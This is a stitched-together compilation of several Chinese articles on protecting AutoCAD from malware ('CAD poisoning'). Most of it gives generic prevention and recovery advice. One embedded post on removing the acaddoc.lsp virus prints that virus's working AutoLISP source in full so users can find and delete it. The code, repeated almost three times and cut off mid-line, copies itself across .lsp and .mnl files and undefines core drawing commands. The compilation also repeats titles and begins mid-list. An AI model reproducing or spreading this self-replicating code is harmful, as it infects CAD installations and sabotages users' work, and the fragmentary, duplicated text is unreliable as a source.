3. 谨慎打开附件和下载文件在收到来自不可信来源的电子邮件时,特别是带有附件的邮件,要谨慎打开。
同样,下载CAD文件时要确保来源可靠,并使用杀毒软件进行扫描。
4. 设置强密码和权限在CAD系统中设置强密码,以防止未经授权的访问。
此外,为不同的用户设置不同的权限,以限制其对CAD文件的访问和修改。
5. 定期备份CAD文件定期备份CAD文件至外部存储设备或云存储中,以防止数据丢失。
如果发生病毒攻击或数据损坏,可以及时恢复备份文件,减少损失。
6. 培训员工为CAD系统用户提供相关的安全培训,教育他们如何识别和应对潜在的病毒攻击。
提高员工的安全意识,是保护CAD系统安全的重要环节。
四、总结CAD中毒可能导致数据损坏、系统崩溃和信息泄露等问题,因此,保护CAD 系统免受病毒侵害至关重要。
通过安装可靠的杀毒软件、更新操作系统和CAD软件、谨慎打开附件和下载文件、设置强密码和权限、定期备份CAD文件以及培训员工等措施,可以有效预防和解决CAD中毒问题。
CAD中毒解决方案
CAD中毒解决方案概述:CAD中毒是指计算机辅助设计软件(CAD)受到恶意软件或病毒的感染,导致软件运行异常或无法正常使用的问题。
本文将介绍CAD中毒的解决方案,包括防范措施和应急处理方法。
一、防范措施:1. 安装可信赖的CAD软件:选择正版软件或从官方网站下载软件,避免从不明来源或盗版网站下载CAD软件,以防感染恶意软件。
2. 及时更新软件:定期检查CAD软件的更新,及时安装最新的补丁和安全更新,以修复已知漏洞,提高软件的安全性。
3. 安装杀毒软件:选择一款可靠的杀毒软件,并保持其及时更新。
定期进行全盘扫描,以发现并清除潜在的恶意软件。
4. 谨慎打开附件:在收到来自不熟悉或可疑来源的电子邮件时,不要随意打开附件。
恶意软件常常通过电子邮件附件传播,点击或下载附件可能导致CAD中毒。
5. 建立安全意识:加强员工的安全意识培训,教育员工不随意下载和安装软件,不打开可疑链接和附件,以及如何识别和报告潜在的安全威胁。
二、应急处理方法:1. 断开网络连接:一旦发现CAD中毒的迹象,立即断开计算机与网络的连接,以防止恶意软件进一步传播和损害系统。
2. 使用杀毒软件进行扫描:如果已经安装了杀毒软件,运行全盘扫描以查找和清除恶意软件。
如果没有安装杀毒软件,可以使用可信赖的在线杀毒工具进行扫描和清除。
3. 恢复系统:如果发现CAD软件无法正常运行,可以尝试使用系统还原功能将计算机恢复到之前的正常状态。
如果系统还原无效,可以考虑重新安装CAD软件。
4. 密切关注系统行为:在CAD中毒后,密切关注计算机的行为,包括异常弹窗、系统崩溃、文件损坏等。
及时记录并报告这些异常行为,以便进一步分析和解决问题。
5. 寻求专业帮助:如果自行处理无效或不熟悉恶意软件的处理方法,建议寻求专业的计算机安全服务提供商或技术支持人员的帮助。
他们可以提供更专业的解决方案和支持。
总结:CAD中毒是一种常见的计算机安全问题,但通过采取防范措施和及时应对,可以最大程度地减少CAD中毒的风险。
CAD中毒解决方案
CAD中毒解决方案标题:CAD中毒解决方案引言概述:CAD软件是工程设计领域中常用的工具,但有时候用户可能会遇到CAD中毒的问题。
CAD中毒指的是CAD软件受到病毒、恶意软件或者其他安全威胁的侵害,导致软件运行异常或数据丢失。
为了解决CAD中毒问题,本文将介绍一些解决方案。
一、及时更新防病毒软件1.1 确保防病毒软件是最新版本,及时更新病毒库,以提高检测和清除病毒的能力。
1.2 定期进行全盘扫描,检测系统中是否存在潜在的病毒威胁。
1.3 配置防病毒软件的实时保护功能,及时阻止病毒入侵。
二、备份CAD文件2.1 定期备份CAD文件到外部存储设备,确保即使CAD中毒,也能够恢复数据。
2.2 使用云存储服务备份CAD文件,以防止本地存储设备受到病毒攻击。
2.3 设置自动备份功能,确保数据备份的及时性和完整性。
三、谨慎下载和安装软件3.1 仅从官方网站或可信的来源下载CAD软件和插件,避免下载未经验证的软件。
3.2 在安装软件时,注意勾选自定义安装选项,避免安装附带恶意软件的插件。
3.3 定期清理系统中不常用的软件和插件,减少安全风险。
四、加强网络安全防护4.1 使用防火墙保护网络安全,阻止未经授权的访问和攻击。
4.2 定期更新操作系统和网络设备的补丁,修复已知的安全漏洞。
4.3 配置网络访问控制列表,限制外部设备对CAD软件的访问权限。
五、定期进行系统维护5.1 清理系统垃圾文件和临时文件,减少系统负担,提高系统性能。
5.2 更新操作系统和CAD软件至最新版本,修复已知的漏洞和BUG。
5.3 定期进行系统优化和磁盘碎片整理,保持系统稳定和高效运行。
总结:CAD中毒是一个常见的安全问题,但通过及时更新防病毒软件、备份CAD文件、谨慎下载和安装软件、加强网络安全防护以及定期进行系统维护,可以有效预防和解决CAD中毒问题,保护CAD软件和数据的安全。
希望本文介绍的解决方案能够帮助CAD用户更好地应对CAD中毒的挑战。
打开CAD时出现函数错误的解决方法[方案]
打开CAD时出现函数错误的解决方法CAD开机运行时会有一大串函数,并且产生acaddoc.lsp的文件处理方法,上一次找到了处理方法,但是后来忘记了,重装系统以后又出现了这种问题。
今天从网上双找了点这方面的资料,经过自己的努力,终于解决了这个烦人的问题。
以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp专杀什么的软件。
全试了都没有用。
后来通过网上介绍的一些关于lsp病毒的特性,亲身试验后确实有效,在此和大家分享,希望能为大家解决一些问题。
下面言归正传,杀毒步骤如下:1、全盘删除acaddoc.lsp(包括隐藏文件夹)——————废话了,呵呵2、删除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp3、查找C:\Documents and Settings\Administrator\Application。
Data\Autodesk\AutoCAD 2006/7\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、查找C:\Program Files\AutoCAD 2006\Support(程序安装目录盘)下面所有的*****.lsp,本人用的2007版共10个****.lsp文件。
然后以记事本方式打开查找到的文件,删除文件中如下的信息。
删除之后点击保存,然后将文件属性改为只读,这样下次就不会出现类似的情况了。
(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn)));while(setvar "sdi" 1)(setvar "ACADLSPASDOC" 1)(command "undefine" "line")(command "undefine" "_line")(command "undefine" "xref")(command "undefine" "_xref")(command "undefine" "explode")(command "undefine" "_explode")(setvar "cmdecho" 1)(princ)(load "acadapp")(princ)(load "acadappp.lsp")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn)));while(setvar "sdi" 1)(setvar "ACADLSPASDOC" 1)(command "undefine" "line")(command "undefine" "_line")(command "undefine" "xref")(command "undefine" "_xref")(command "undefine" "explode")(command "undefine" "_explode")(setvar "cmdecho" 1)(princ)(load "acadapp")(princ)(load "acadappp.lsp")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)));while(setq lspn1 0)(w。
CAD中毒解决方案
CAD中毒解决方案概述:CAD中毒是指计算机辅助设计(CAD)软件受到病毒、恶意软件或其他安全威胁的影响,导致系统运行不稳定、数据丢失或被篡改等问题。
为了保护CAD系统的安全和稳定性,需要采取一系列解决方案来应对CAD中毒的风险。
解决方案一:安全软件保护安全软件是防止计算机受到病毒和恶意软件攻击的关键工具。
为了保护CAD 系统的安全,可以安装并定期更新一款可靠的安全软件,如杀毒软件、防火墙和恶意软件清除工具。
这些软件可以实时监测和阻止潜在的安全威胁,并进行病毒扫描和清除。
解决方案二:定期备份数据定期备份CAD系统中的重要数据是防止数据丢失的有效措施。
可以使用外部存储设备,如硬盘驱动器或云存储服务,将CAD文件备份到安全的位置。
最好每天或每周进行备份,并确保备份文件是完整的和可恢复的。
解决方案三:更新CAD软件和插件CAD软件和插件的更新通常包含了对已知漏洞和安全问题的修复。
及时更新CAD软件和插件可以提高系统的安全性和稳定性,减少受到攻击的风险。
可以定期检查CAD软件和插件的官方网站或应用商店,下载并安装最新版本的软件和插件。
解决方案四:限制网络访问权限限制CAD系统的网络访问权限可以减少受到网络攻击的风险。
可以通过防火墙、网络隔离和访问控制列表等措施来限制CAD系统与外部网络的连接。
只允许必要的网络连接,并禁止未经授权的访问。
解决方案五:教育培训和意识提升教育培训和意识提升对于CAD系统的安全至关重要。
通过培训用户了解常见的安全威胁和防范措施,可以帮助他们更好地保护CAD系统。
提醒用户不要打开可疑的电子邮件附件或下载未经验证的软件,以及定期更新密码和使用强密码等最佳实践。
解决方案六:定期系统检查和维护定期对CAD系统进行检查和维护可以帮助发现和解决潜在的安全问题。
可以使用系统工具进行磁盘清理、注册表修复和软件更新等操作,以确保CAD系统的正常运行和安全性。
解决方案七:安全策略和流程制定制定适合CAD系统的安全策略和流程可以帮助组织更好地管理和应对安全威胁。